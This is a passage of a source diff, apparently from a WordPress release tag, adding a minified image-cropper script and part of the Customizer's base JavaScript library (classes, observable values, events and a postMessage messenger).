+if(s.src.match(/cropper\.js/)){
+var _a=s.src.replace(/cropper\.js(.*)?/,"");
+var _b=document.createElement("link");
+_b.rel="stylesheet";
+_b.type="text/css";
+_b.href=_a+"cropper.css";
+_b.media="screen";
+document.getElementsByTagName("head")[0].appendChild(_b);
+}
+});
+if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0){
+var _c=this.getGCD(this.options.ratioDim.x,this.options.ratioDim.y);
+this.ratioX=this.options.ratioDim.x/_c;
+this.ratioY=this.options.ratioDim.y/_c;
+}
+this.subInitialize();
+if(this.img.complete||this.isWebKit){
+this.onLoad();
+}else{
+Event.observe(this.img,"load",this.onLoad.bindAsEventListener(this));
+}
+},getGCD:function(a,b){return 1;
+if(b==0){
+return a;
+}
+return this.getGCD(b,a%b);
+},onLoad:function(){
+var _f="imgCrop_";
+var _10=this.img.parentNode;
+var _11="";
+if(this.isOpera8){
+_11=" opera8";
+}
+this.imgWrap=Builder.node("div",{"class":_f+"wrap"+_11});
+if(this.isIE){
+this.north=Builder.node("div",{"class":_f+"overlay "+_f+"north"},[Builder.node("span")]);
+this.east=Builder.node("div",{"class":_f+"overlay "+_f+"east"},[Builder.node("span")]);
+this.south=Builder.node("div",{"class":_f+"overlay "+_f+"south"},[Builder.node("span")]);
+this.west=Builder.node("div",{"class":_f+"overlay "+_f+"west"},[Builder.node("span")]);
+var _12=[this.north,this.east,this.south,this.west];
+}else{
+this.overlay=Builder.node("div",{"class":_f+"overlay"});
+var _12=[this.overlay];
+}
+this.dragArea=Builder.node("div",{"class":_f+"dragArea"},_12);
+this.handleN=Builder.node("div",{"class":_f+"handle "+_f+"handleN"});
+this.handleNE=Builder.node("div",{"class":_f+"handle "+_f+"handleNE"});
+this.handleE=Builder.node("div",{"class":_f+"handle "+_f+"handleE"});
+this.handleSE=Builder.node("div",{"class":_f+"handle "+_f+"handleSE"});
+this.handleS=Builder.node("div",{"class":_f+"handle "+_f+"handleS"});
+this.handleSW=Builder.node("div",{"class":_f+"handle "+_f+"handleSW"});
+this.handleW=Builder.node("div",{"class":_f+"handle "+_f+"handleW"});
+this.handleNW=Builder.node("div",{"class":_f+"handle "+_f+"handleNW"});
+this.selArea=Builder.node("div",{"class":_f+"selArea"},[Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeNorth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeEast"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeHoriz "+_f+"marqueeSouth"},[Builder.node("span")]),Builder.node("div",{"class":_f+"marqueeVert "+_f+"marqueeWest"},[Builder.node("span")]),this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW,Builder.node("div",{"class":_f+"clickArea"})]);
+Element.setStyle($(this.selArea),{backgroundColor:"transparent",backgroundRepeat:"no-repeat",backgroundPosition:"0 0"});
+this.imgWrap.appendChild(this.img);
+this.imgWrap.appendChild(this.dragArea);
+this.dragArea.appendChild(this.selArea);
+this.dragArea.appendChild(Builder.node("div",{"class":_f+"clickArea"}));
+_10.appendChild(this.imgWrap);
+Event.observe(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this));
+Event.observe(document,"mousemove",this.onDrag.bindAsEventListener(this));
+Event.observe(document,"mouseup",this.endCrop.bindAsEventListener(this));
+var _13=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW];
+for(var i=0;i<_13.length;i++){
+Event.observe(_13[i],"mousedown",this.startResize.bindAsEventListener(this));
+}
+if(this.options.captureKeys){
+Event.observe(document,"keydown",this.handleKeys.bindAsEventListener(this));
+}
+new CropDraggable(this.selArea,{drawMethod:this.moveArea.bindAsEventListener(this)});
+this.setParams();
+},setParams:function(){
+this.imgW=this.img.width;
+this.imgH=this.img.height;
+if(!this.isIE){
+Element.setStyle($(this.overlay),{width:this.imgW+"px",height:this.imgH+"px"});
+Element.hide($(this.overlay));
+Element.setStyle($(this.selArea),{backgroundImage:"url("+this.img.src+")"});
+}else{
+Element.setStyle($(this.north),{height:0});
+Element.setStyle($(this.east),{width:0,height:0});
+Element.setStyle($(this.south),{height:0});
+Element.setStyle($(this.west),{width:0,height:0});
+}
+Element.setStyle($(this.imgWrap),{"width":this.imgW+"px","height":this.imgH+"px"});
+Element.hide($(this.selArea));
+var _15=Position.positionedOffset(this.imgWrap);
+this.wrapOffsets={"top":_15[1],"left":_15[0]};
+var _16={x1:0,y1:0,x2:0,y2:0};
+this.setAreaCoords(_16);
+if(this.options.ratioDim.x>0&&this.options.ratioDim.y>0&&this.options.displayOnInit){
+_16.x1=Math.ceil((this.imgW-this.options.ratioDim.x)/2);
+_16.y1=Math.ceil((this.imgH-this.options.ratioDim.y)/2);
+_16.x2=_16.x1+this.options.ratioDim.x;
+_16.y2=_16.y1+this.options.ratioDim.y;
+Element.show(this.selArea);
+this.drawArea();
+this.endCrop();
+}
+this.attached=true;
+},remove:function(){
+this.attached=false;
+this.imgWrap.parentNode.insertBefore(this.img,this.imgWrap);
+this.imgWrap.parentNode.removeChild(this.imgWrap);
+Event.stopObserving(this.dragArea,"mousedown",this.startDrag.bindAsEventListener(this));
+Event.stopObserving(document,"mousemove",this.onDrag.bindAsEventListener(this));
+Event.stopObserving(document,"mouseup",this.endCrop.bindAsEventListener(this));
+var _17=[this.handleN,this.handleNE,this.handleE,this.handleSE,this.handleS,this.handleSW,this.handleW,this.handleNW];
+for(var i=0;i<_17.length;i++){
+Event.stopObserving(_17[i],"mousedown",this.startResize.bindAsEventListener(this));
+}
+if(this.options.captureKeys){
+Event.stopObserving(document,"keydown",this.handleKeys.bindAsEventListener(this));
+}
+},reset:function(){
+if(!this.attached){
+this.onLoad();
+}else{
+this.setParams();
+}
+this.endCrop();
+},handleKeys:function(e){
+var dir={x:0,y:0};
+if(!this.dragging){
+switch(e.keyCode){
+case (37):
+dir.x=-1;
+break;
+case (38):
+dir.y=-1;
+break;
+case (39):
+dir.x=1;
+break;
+case (40):
+dir.y=1;
+break;
+}
+if(dir.x!=0||dir.y!=0){
+if(e.shiftKey){
+dir.x*=10;
+dir.y*=10;
+}
+this.moveArea([this.areaCoords.x1+dir.x,this.areaCoords.y1+dir.y]);
+Event.stop(e);
+}
+}
+},calcW:function(){
+return (this.areaCoords.x2-this.areaCoords.x1);
+},calcH:function(){
+return (this.areaCoords.y2-this.areaCoords.y1);
+},moveArea:function(_1b){
+this.setAreaCoords({x1:_1b[0],y1:_1b[1],x2:_1b[0]+this.calcW(),y2:_1b[1]+this.calcH()},true);
+this.drawArea();
+},cloneCoords:function(_1c){
+return {x1:_1c.x1,y1:_1c.y1,x2:_1c.x2,y2:_1c.y2};
+},setAreaCoords:function(_1d,_1e,_1f,_20,_21){
+var _22=typeof _1e!="undefined"?_1e:false;
+var _23=typeof _1f!="undefined"?_1f:false;
+if(_1e){
+var _24=_1d.x2-_1d.x1;
+var _25=_1d.y2-_1d.y1;
+if(_1d.x1<0){
+_1d.x1=0;
+_1d.x2=_24;
+}
+if(_1d.y1<0){
+_1d.y1=0;
+_1d.y2=_25;
+}
+if(_1d.x2>this.imgW){
+_1d.x2=this.imgW;
+_1d.x1=this.imgW-_24;
+}
+if(_1d.y2>this.imgH){
+_1d.y2=this.imgH;
+_1d.y1=this.imgH-_25;
+}
+}else{
+if(_1d.x1<0){
+_1d.x1=0;
+}
+if(_1d.y1<0){
+_1d.y1=0;
+}
+if(_1d.x2>this.imgW){
+_1d.x2=this.imgW;
+}
+if(_1d.y2>this.imgH){
+_1d.y2=this.imgH;
+}
+if(typeof (_20)!="undefined"){
+if(this.ratioX>0){
+this.applyRatio(_1d,{x:this.ratioX,y:this.ratioY},_20,_21);
+}else{
+if(_23){
+this.applyRatio(_1d,{x:1,y:1},_20,_21);
+}
+}
+var _26={a1:_1d.x1,a2:_1d.x2};
+var _27={a1:_1d.y1,a2:_1d.y2};
+var _28=this.options.minWidth;
+var _29=this.options.minHeight;
+if((_28==0||_29==0)&&_23){
+if(_28>0){
+_29=_28;
+}else{
+if(_29>0){
+_28=_29;
+}
+}
+}
+this.applyMinDimension(_26,_28,_20.x,{min:0,max:this.imgW});
+this.applyMinDimension(_27,_29,_20.y,{min:0,max:this.imgH});
+_1d={x1:_26.a1,y1:_27.a1,x2:_26.a2,y2:_27.a2};
+}
+}
+this.areaCoords=_1d;
+},applyMinDimension:function(_2a,_2b,_2c,_2d){
+if((_2a.a2-_2a.a1)<_2b){
+if(_2c==1){
+_2a.a2=_2a.a1+_2b;
+}else{
+_2a.a1=_2a.a2-_2b;
+}
+if(_2a.a1<_2d.min){
+_2a.a1=_2d.min;
+_2a.a2=_2b;
+}else{
+if(_2a.a2>_2d.max){
+_2a.a1=_2d.max-_2b;
+_2a.a2=_2d.max;
+}
+}
+}
+},applyRatio:function(_2e,_2f,_30,_31){
+var _32;
+if(_31=="N"||_31=="S"){
+_32=this.applyRatioToAxis({a1:_2e.y1,b1:_2e.x1,a2:_2e.y2,b2:_2e.x2},{a:_2f.y,b:_2f.x},{a:_30.y,b:_30.x},{min:0,max:this.imgW});
+_2e.x1=_32.b1;
+_2e.y1=_32.a1;
+_2e.x2=_32.b2;
+_2e.y2=_32.a2;
+}else{
+_32=this.applyRatioToAxis({a1:_2e.x1,b1:_2e.y1,a2:_2e.x2,b2:_2e.y2},{a:_2f.x,b:_2f.y},{a:_30.x,b:_30.y},{min:0,max:this.imgH});
+_2e.x1=_32.a1;
+_2e.y1=_32.b1;
+_2e.x2=_32.a2;
+_2e.y2=_32.b2;
+}
+},applyRatioToAxis:function(_33,_34,_35,_36){
+var _37=Object.extend(_33,{});
+var _38=_37.a2-_37.a1;
+var _3a=Math.floor(_38*_34.b/_34.a);
+var _3b;
+var _3c;
+var _3d=null;
+if(_35.b==1){
+_3b=_37.b1+_3a;
+if(_3b>_36.max){
+_3b=_36.max;
+_3d=_3b-_37.b1;
+}
+_37.b2=_3b;
+}else{
+_3b=_37.b2-_3a;
+if(_3b<_36.min){
+_3b=_36.min;
+_3d=_3b+_37.b2;
+}
+_37.b1=_3b;
+}
+if(_3d!=null){
+_3c=Math.floor(_3d*_34.a/_34.b);
+if(_35.a==1){
+_37.a2=_37.a1+_3c;
+}else{
+_37.a1=_37.a1=_37.a2-_3c;
+}
+}
+return _37;
+},drawArea:function(){
+if(!this.isIE){
+Element.show($(this.overlay));
+}
+var _3e=this.calcW();
+var _3f=this.calcH();
+var _40=this.areaCoords.x2;
+var _41=this.areaCoords.y2;
+var _42=this.selArea.style;
+_42.left=this.areaCoords.x1+"px";
+_42.top=this.areaCoords.y1+"px";
+_42.width=_3e+"px";
+_42.height=_3f+"px";
+var _43=Math.ceil((_3e-6)/2)+"px";
+var _44=Math.ceil((_3f-6)/2)+"px";
+this.handleN.style.left=_43;
+this.handleE.style.top=_44;
+this.handleS.style.left=_43;
+this.handleW.style.top=_44;
+if(this.isIE){
+this.north.style.height=this.areaCoords.y1+"px";
+var _45=this.east.style;
+_45.top=this.areaCoords.y1+"px";
+_45.height=_3f+"px";
+_45.left=_40+"px";
+_45.width=(this.img.width-_40)+"px";
+var _46=this.south.style;
+_46.top=_41+"px";
+_46.height=(this.img.height-_41)+"px";
+var _47=this.west.style;
+_47.top=this.areaCoords.y1+"px";
+_47.height=_3f+"px";
+_47.width=this.areaCoords.x1+"px";
+}else{
+_42.backgroundPosition="-"+this.areaCoords.x1+"px "+"-"+this.areaCoords.y1+"px";
+}
+this.subDrawArea();
+this.forceReRender();
+},forceReRender:function(){
+if(this.isIE||this.isWebKit){
+var n=document.createTextNode(" ");
+var d,el,fixEL,i;
+if(this.isIE){
+fixEl=this.selArea;
+}else{
+if(this.isWebKit){
+fixEl=document.getElementsByClassName("imgCrop_marqueeSouth",this.imgWrap)[0];
+d=Builder.node("div","");
+d.style.visibility="hidden";
+var _4a=["SE","S","SW"];
+for(i=0;i<_4a.length;i++){
+el=document.getElementsByClassName("imgCrop_handle"+_4a[i],this.selArea)[0];
+if(el.childNodes.length){
+el.removeChild(el.childNodes[0]);
+}
+el.appendChild(d);
+}
+}
+}
+fixEl.appendChild(n);
+fixEl.removeChild(n);
+}
+},startResize:function(e){
+this.startCoords=this.cloneCoords(this.areaCoords);
+this.resizing=true;
+this.resizeHandle=Element.classNames(Event.element(e)).toString().replace(/([^N|NE|E|SE|S|SW|W|NW])+/,"");
+Event.stop(e);
+},startDrag:function(e){
+Element.show(this.selArea);
+this.clickCoords=this.getCurPos(e);
+this.setAreaCoords({x1:this.clickCoords.x,y1:this.clickCoords.y,x2:this.clickCoords.x,y2:this.clickCoords.y});
+this.dragging=true;
+this.onDrag(e);
+Event.stop(e);
+},getCurPos:function(e){
+return curPos={x:Event.pointerX(e)-this.wrapOffsets.left,y:Event.pointerY(e)-this.wrapOffsets.top};
+},onDrag:function(e){
+var _4f=null;
+if(this.dragging||this.resizing){
+var _50=this.getCurPos(e);
+var _51=this.cloneCoords(this.areaCoords);
+var _52={x:1,y:1};
+}
+if(this.dragging){
+if(_50.x<this.clickCoords.x){
+_52.x=-1;
+}
+if(_50.y<this.clickCoords.y){
+_52.y=-1;
+}
+this.transformCoords(_50.x,this.clickCoords.x,_51,"x");
+this.transformCoords(_50.y,this.clickCoords.y,_51,"y");
+}else{
+if(this.resizing){
+_4f=this.resizeHandle;
+if(_4f.match(/E/)){
+this.transformCoords(_50.x,this.startCoords.x1,_51,"x");
+if(_50.x<this.startCoords.x1){
+_52.x=-1;
+}
+}else{
+if(_4f.match(/W/)){
+this.transformCoords(_50.x,this.startCoords.x2,_51,"x");
+if(_50.x<this.startCoords.x2){
+_52.x=-1;
+}
+}
+}
+if(_4f.match(/N/)){
+this.transformCoords(_50.y,this.startCoords.y2,_51,"y");
+if(_50.y<this.startCoords.y2){
+_52.y=-1;
+}
+}else{
+if(_4f.match(/S/)){
+this.transformCoords(_50.y,this.startCoords.y1,_51,"y");
+if(_50.y<this.startCoords.y1){
+_52.y=-1;
+}
+}
+}
+}
+}
+if(this.dragging||this.resizing){
+this.setAreaCoords(_51,false,e.shiftKey,_52,_4f);
+this.drawArea();
+Event.stop(e);
+}
+},transformCoords:function(_53,_54,_55,_56){
+var _57=new Array();
+if(_53<_54){
+_57[0]=_53;
+_57[1]=_54;
+}else{
+_57[0]=_54;
+_57[1]=_53;
+}
+if(_56=="x"){
+_55.x1=_57[0];
+_55.x2=_57[1];
+}else{
+_55.y1=_57[0];
+_55.y2=_57[1];
+}
+},endCrop:function(){
+this.dragging=false;
+this.resizing=false;
+this.options.onEndCrop(this.areaCoords,{width:this.calcW(),height:this.calcH()});
+},subInitialize:function(){
+},subDrawArea:function(){
+}};
+Cropper.ImgWithPreview=Class.create();
+Object.extend(Object.extend(Cropper.ImgWithPreview.prototype,Cropper.Img.prototype),{subInitialize:function(){
+this.hasPreviewImg=false;
+if(typeof (this.options.previewWrap)!="undefined"&&this.options.minWidth>0&&this.options.minHeight>0){
+this.previewWrap=$(this.options.previewWrap);
+this.previewImg=this.img.cloneNode(false);
+this.options.displayOnInit=true;
+this.hasPreviewImg=true;
+Element.addClassName(this.previewWrap,"imgCrop_previewWrap");
+Element.setStyle(this.previewWrap,{width:this.options.minWidth+"px",height:this.options.minHeight+"px"});
+this.previewWrap.appendChild(this.previewImg);
+}
+},subDrawArea:function(){
+if(this.hasPreviewImg){
+var _58=this.calcW();
+var _59=this.calcH();
+var _5a={x:this.imgW/_58,y:this.imgH/_59};
+var _5b={x:_58/this.options.minWidth,y:_59/this.options.minHeight};
+var _5c={w:Math.ceil(this.options.minWidth*_5a.x)+"px",h:Math.ceil(this.options.minHeight*_5a.y)+"px",x:"-"+Math.ceil(this.areaCoords.x1/_5b.x)+"px",y:"-"+Math.ceil(this.areaCoords.y1/_5b.y)+"px"};
+var _5d=this.previewImg.style;
+_5d.width=_5c.w;
+_5d.height=_5c.h;
+_5d.left=_5c.x;
+_5d.top=_5c.y;
+}
+}});
Index: /tags/4.1.6/src/wp-includes/js/customize-base.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/customize-base.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/customize-base.js	(revision 33402)
@@ -0,0 +1,624 @@
+window.wp = window.wp || {};
+
+(function( exports, $ ){
+	var api = {}, ctor, inherits,
+		slice = Array.prototype.slice;
+
+	// Shared empty constructor function to aid in prototype-chain creation.
+	ctor = function() {};
+
+	/**
+	 * Helper function to correctly set up the prototype chain, for subclasses.
+	 * Similar to `goog.inherits`, but uses a hash of prototype properties and
+	 * class properties to be extended.
+	 *
+	 * @param  object parent      Parent class constructor to inherit from.
+	 * @param  object protoProps  Properties to apply to the prototype for use as class instance properties.
+	 * @param  object staticProps Properties to apply directly to the class constructor.
+	 * @return child              The subclassed constructor.
+	 */
+	inherits = function( parent, protoProps, staticProps ) {
+		var child;
+
+		// The constructor function for the new subclass is either defined by you
+		// (the "constructor" property in your `extend` definition), or defaulted
+		// by us to simply call `super()`.
+		if ( protoProps && protoProps.hasOwnProperty( 'constructor' ) ) {
+			child = protoProps.constructor;
+		} else {
+			child = function() {
+				// Storing the result `super()` before returning the value
+				// prevents a bug in Opera where, if the constructor returns
+				// a function, Opera will reject the return value in favor of
+				// the original object. This causes all sorts of trouble.
+				var result = parent.apply( this, arguments );
+				return result;
+			};
+		}
+
+		// Inherit class (static) properties from parent.
+		$.extend( child, parent );
+
+		// Set the prototype chain to inherit from `parent`, without calling
+		// `parent`'s constructor function.
+		ctor.prototype  = parent.prototype;
+		child.prototype = new ctor();
+
+		// Add prototype properties (instance properties) to the subclass,
+		// if supplied.
+		if ( protoProps )
+			$.extend( child.prototype, protoProps );
+
+		// Add static properties to the constructor function, if supplied.
+		if ( staticProps )
+			$.extend( child, staticProps );
+
+		// Correctly set child's `prototype.constructor`.
+		child.prototype.constructor = child;
+
+		// Set a convenience property in case the parent's prototype is needed later.
+		child.__super__ = parent.prototype;
+
+		return child;
+	};
+
+	/**
+	 * Base class for object inheritance.
+	 */
+	api.Class = function( applicator, argsArray, options ) {
+		var magic, args = arguments;
+
+		if ( applicator && argsArray && api.Class.applicator === applicator ) {
+			args = argsArray;
+			$.extend( this, options || {} );
+		}
+
+		magic = this;
+		if ( this.instance ) {
+			magic = function() {
+				return magic.instance.apply( magic, arguments );
+			};
+
+			$.extend( magic, this );
+		}
+
+		magic.initialize.apply( magic, args );
+		return magic;
+	};
+
+	/**
+	 * Creates a subclass of the class.
+	 *
+	 * @param  object protoProps  Properties to apply to the prototype.
+	 * @param  object staticProps Properties to apply directly to the class.
+	 * @return child              The subclass.
+	 */
+	api.Class.extend = function( protoProps, classProps ) {
+		var child = inherits( this, protoProps, classProps );
+		child.extend = this.extend;
+		return child;
+	};
+
+	api.Class.applicator = {};
+
+	api.Class.prototype.initialize = function() {};
+
+	/*
+	 * Checks whether a given instance extended a constructor.
+	 *
+	 * The magic surrounding the instance parameter causes the instanceof
+	 * keyword to return inaccurate results; it defaults to the function's
+	 * prototype instead of the constructor chain. Hence this function.
+	 */
+	api.Class.prototype.extended = function( constructor ) {
+		var proto = this;
+
+		while ( typeof proto.constructor !== 'undefined' ) {
+			if ( proto.constructor === constructor )
+				return true;
+			if ( typeof proto.constructor.__super__ === 'undefined' )
+				return false;
+			proto = proto.constructor.__super__;
+		}
+		return false;
+	};
+
+	/**
+	 * An events manager object, offering the ability to bind to and trigger events.
+	 *
+	 * Used as a mixin.
+	 */
+	api.Events = {
+		trigger: function( id ) {
+			if ( this.topics && this.topics[ id ] )
+				this.topics[ id ].fireWith( this, slice.call( arguments, 1 ) );
+			return this;
+		},
+
+		bind: function( id ) {
+			this.topics = this.topics || {};
+			this.topics[ id ] = this.topics[ id ] || $.Callbacks();
+			this.topics[ id ].add.apply( this.topics[ id ], slice.call( arguments, 1 ) );
+			return this;
+		},
+
+		unbind: function( id ) {
+			if ( this.topics && this.topics[ id ] )
+				this.topics[ id ].remove.apply( this.topics[ id ], slice.call( arguments, 1 ) );
+			return this;
+		}
+	};
+
+	/**
+	 * Observable values that support two-way binding.
+	 *
+	 * @constuctor
+	 */
+	api.Value = api.Class.extend({
+		initialize: function( initial, options ) {
+			this._value = initial; // @todo: potentially change this to a this.set() call.
+			this.callbacks = $.Callbacks();
+			this._dirty = false;
+
+			$.extend( this, options || {} );
+
+			this.set = $.proxy( this.set, this );
+		},
+
+		/*
+		 * Magic. Returns a function that will become the instance.
+		 * Set to null to prevent the instance from extending a function.
+		 */
+		instance: function() {
+			return arguments.length ? this.set.apply( this, arguments ) : this.get();
+		},
+
+		get: function() {
+			return this._value;
+		},
+
+		set: function( to ) {
+			var from = this._value;
+
+			to = this._setter.apply( this, arguments );
+			to = this.validate( to );
+
+			// Bail if the sanitized value is null or unchanged.
+			if ( null === to || _.isEqual( from, to ) ) {
+				return this;
+			}
+
+			this._value = to;
+			this._dirty = true;
+
+			this.callbacks.fireWith( this, [ to, from ] );
+
+			return this;
+		},
+
+		_setter: function( to ) {
+			return to;
+		},
+
+		setter: function( callback ) {
+			var from = this.get();
+			this._setter = callback;
+			// Temporarily clear value so setter can decide if it's valid.
+			this._value = null;
+			this.set( from );
+			return this;
+		},
+
+		resetSetter: function() {
+			this._setter = this.constructor.prototype._setter;
+			this.set( this.get() );
+			return this;
+		},
+
+		validate: function( value ) {
+			return value;
+		},
+
+		bind: function() {
+			this.callbacks.add.apply( this.callbacks, arguments );
+			return this;
+		},
+
+		unbind: function() {
+			this.callbacks.remove.apply( this.callbacks, arguments );
+			return this;
+		},
+
+		link: function() { // values*
+			var set = this.set;
+			$.each( arguments, function() {
+				this.bind( set );
+			});
+			return this;
+		},
+
+		unlink: function() { // values*
+			var set = this.set;
+			$.each( arguments, function() {
+				this.unbind( set );
+			});
+			return this;
+		},
+
+		sync: function() { // values*
+			var that = this;
+			$.each( arguments, function() {
+				that.link( this );
+				this.link( that );
+			});
+			return this;
+		},
+
+		unsync: function() { // values*
+			var that = this;
+			$.each( arguments, function() {
+				that.unlink( this );
+				this.unlink( that );
+			});
+			return this;
+		}
+	});
+
+	/**
+	 * A collection of observable values.
+	 *
+	 * @constuctor
+	 * @augments wp.customize.Class
+	 * @mixes wp.customize.Events
+	 */
+	api.Values = api.Class.extend({
+		defaultConstructor: api.Value,
+
+		initialize: function( options ) {
+			$.extend( this, options || {} );
+
+			this._value = {};
+			this._deferreds = {};
+		},
+
+		instance: function( id ) {
+			if ( arguments.length === 1 )
+				return this.value( id );
+
+			return this.when.apply( this, arguments );
+		},
+
+		value: function( id ) {
+			return this._value[ id ];
+		},
+
+		has: function( id ) {
+			return typeof this._value[ id ] !== 'undefined';
+		},
+
+		add: function( id, value ) {
+			if ( this.has( id ) )
+				return this.value( id );
+
+			this._value[ id ] = value;
+			value.parent = this;
+			if ( value.extended( api.Value ) )
+				value.bind( this._change );
+
+			this.trigger( 'add', value );
+
+			if ( this._deferreds[ id ] )
+				this._deferreds[ id ].resolve();
+
+			return this._value[ id ];
+		},
+
+		create: function( id ) {
+			return this.add( id, new this.defaultConstructor( api.Class.applicator, slice.call( arguments, 1 ) ) );
+		},
+
+		each: function( callback, context ) {
+			context = typeof context === 'undefined' ? this : context;
+
+			$.each( this._value, function( key, obj ) {
+				callback.call( context, obj, key );
+			});
+		},
+
+		remove: function( id ) {
+			var value;
+
+			if ( this.has( id ) ) {
+				value = this.value( id );
+				this.trigger( 'remove', value );
+				if ( value.extended( api.Value ) )
+					value.unbind( this._change );
+				delete value.parent;
+			}
+
+			delete this._value[ id ];
+			delete this._deferreds[ id ];
+		},
+
+		/**
+		 * Runs a callback once all requested values exist.
+		 *
+		 * when( ids*, [callback] );
+		 *
+		 * For example:
+		 *     when( id1, id2, id3, function( value1, value2, value3 ) {} );
+		 *
+		 * @returns $.Deferred.promise();
+		 */
+		when: function() {
+			var self = this,
+				ids  = slice.call( arguments ),
+				dfd  = $.Deferred();
+
+			// If the last argument is a callback, bind it to .done()
+			if ( $.isFunction( ids[ ids.length - 1 ] ) )
+				dfd.done( ids.pop() );
+
+			$.when.apply( $, $.map( ids, function( id ) {
+				if ( self.has( id ) )
+					return;
+
+				return self._deferreds[ id ] = self._deferreds[ id ] || $.Deferred();
+			})).done( function() {
+				var values = $.map( ids, function( id ) {
+						return self( id );
+					});
+
+				// If a value is missing, we've used at least one expired deferred.
+				// Call Values.when again to generate a new deferred.
+				if ( values.length !== ids.length ) {
+					// ids.push( callback );
+					self.when.apply( self, ids ).done( function() {
+						dfd.resolveWith( self, values );
+					});
+					return;
+				}
+
+				dfd.resolveWith( self, values );
+			});
+
+			return dfd.promise();
+		},
+
+		_change: function() {
+			this.parent.trigger( 'change', this );
+		}
+	});
+
+	$.extend( api.Values.prototype, api.Events );
+
+
+	/**
+	 * Cast a string to a jQuery collection if it isn't already.
+	 *
+	 * @param {string|jQuery collection} element
+	 */
+	api.ensure = function( element ) {
+		return typeof element == 'string' ? $( element ) : element;
+	};
+
+	/**
+	 * An observable value that syncs with an element.
+	 *
+	 * Handles inputs, selects, and textareas by default.
+	 *
+	 * @constuctor
+	 * @augments wp.customize.Value
+	 * @augments wp.customize.Class
+	 */
+	api.Element = api.Value.extend({
+		initialize: function( element, options ) {
+			var self = this,
+				synchronizer = api.Element.synchronizer.html,
+				type, update, refresh;
+
+			this.element = api.ensure( element );
+			this.events = '';
+
+			if ( this.element.is('input, select, textarea') ) {
+				this.events += 'change';
+				synchronizer = api.Element.synchronizer.val;
+
+				if ( this.element.is('input') ) {
+					type = this.element.prop('type');
+					if ( api.Element.synchronizer[ type ] ) {
+						synchronizer = api.Element.synchronizer[ type ];
+					}
+					if ( 'text' === type || 'password' === type ) {
+						this.events += ' keyup';
+					} else if ( 'range' === type ) {
+						this.events += ' input propertychange';
+					}
+				} else if ( this.element.is('textarea') ) {
+					this.events += ' keyup';
+				}
+			}
+
+			api.Value.prototype.initialize.call( this, null, $.extend( options || {}, synchronizer ) );
+			this._value = this.get();
+
+			update  = this.update;
+			refresh = this.refresh;
+
+			this.update = function( to ) {
+				if ( to !== refresh.call( self ) )
+					update.apply( this, arguments );
+			};
+			this.refresh = function() {
+				self.set( refresh.call( self ) );
+			};
+
+			this.bind( this.update );
+			this.element.bind( this.events, this.refresh );
+		},
+
+		find: function( selector ) {
+			return $( selector, this.element );
+		},
+
+		refresh: function() {},
+
+		update: function() {}
+	});
+
+	api.Element.synchronizer = {};
+
+	$.each( [ 'html', 'val' ], function( index, method ) {
+		api.Element.synchronizer[ method ] = {
+			update: function( to ) {
+				this.element[ method ]( to );
+			},
+			refresh: function() {
+				return this.element[ method ]();
+			}
+		};
+	});
+
+	api.Element.synchronizer.checkbox = {
+		update: function( to ) {
+			this.element.prop( 'checked', to );
+		},
+		refresh: function() {
+			return this.element.prop( 'checked' );
+		}
+	};
+
+	api.Element.synchronizer.radio = {
+		update: function( to ) {
+			this.element.filter( function() {
+				return this.value === to;
+			}).prop( 'checked', true );
+		},
+		refresh: function() {
+			return this.element.filter( ':checked' ).val();
+		}
+	};
+
+	$.support.postMessage = !! window.postMessage;
+
+	/**
+	 * Messenger for postMessage.
+	 *
+	 * @constuctor
+	 * @augments wp.customize.Class
+	 * @mixes wp.customize.Events
+	 */
+	api.Messenger = api.Class.extend({
+		/**
+		 * Create a new Value.
+		 *
+		 * @param  {string} key     Unique identifier.
+		 * @param  {mixed}  initial Initial value.
+		 * @param  {mixed}  options Options hash. Optional.
+		 * @return {Value}          Class instance of the Value.
+		 */
+		add: function( key, initial, options ) {
+			return this[ key ] = new api.Value( initial, options );
+		},
+
+		/**
+		 * Initialize Messenger.
+		 *
+		 * @param  {object} params        Parameters to configure the messenger.
+		 *         {string} .url          The URL to communicate with.
+		 *         {window} .targetWindow The window instance to communicate with. Default window.parent.
+		 *         {string} .channel      If provided, will send the channel with each message and only accept messages a matching channel.
+		 * @param  {object} options       Extend any instance parameter or method with this object.
+		 */
+		initialize: function( params, options ) {
+			// Target the parent frame by default, but only if a parent frame exists.
+			var defaultTarget = window.parent == window ? null : window.parent;
+
+			$.extend( this, options || {} );
+
+			this.add( 'channel', params.channel );
+			this.add( 'url', params.url || '' );
+			this.add( 'targetWindow', params.targetWindow || defaultTarget );
+			this.add( 'origin', this.url() ).link( this.url ).setter( function( to ) {
+				return to.replace( /([^:]+:\/\/[^\/]+).*/, '$1' );
+			});
+
+			// Since we want jQuery to treat the receive function as unique
+			// to this instance, we give the function a new guid.
+			//
+			// This will prevent every Messenger's receive function from being
+			// unbound when calling $.off( 'message', this.receive );
+			this.receive = $.proxy( this.receive, this );
+			this.receive.guid = $.guid++;
+
+			$( window ).on( 'message', this.receive );
+		},
+
+		destroy: function() {
+			$( window ).off( 'message', this.receive );
+		},
+
+		receive: function( event ) {
+			var message;
+
+			event = event.originalEvent;
+
+			if ( ! this.targetWindow() )
+				return;
+
+			// Check to make sure the origin is valid.
+			if ( this.origin() && event.origin !== this.origin() )
+				return;
+
+			// Ensure we have a string that's JSON.parse-able
+			if ( typeof event.data !== 'string' || event.data[0] !== '{' ) {
+				return;
+			}
+
+			message = JSON.parse( event.data );
+
+			// Check required message properties.
+			if ( ! message || ! message.id || typeof message.data === 'undefined' )
+				return;
+
+			// Check if channel names match.
+			if ( ( message.channel || this.channel() ) && this.channel() !== message.channel )
+				return;
+
+			this.trigger( message.id, message.data );
+		},
+
+		send: function( id, data ) {
+			var message;
+
+			data = typeof data === 'undefined' ? null : data;
+
+			if ( ! this.url() || ! this.targetWindow() )
+				return;
+
+			message = { id: id, data: data };
+			if ( this.channel() )
+				message.channel = this.channel();
+
+			this.targetWindow().postMessage( JSON.stringify( message ), this.origin() );
+		}
+	});
+
+	// Add the Events mixin to api.Messenger.
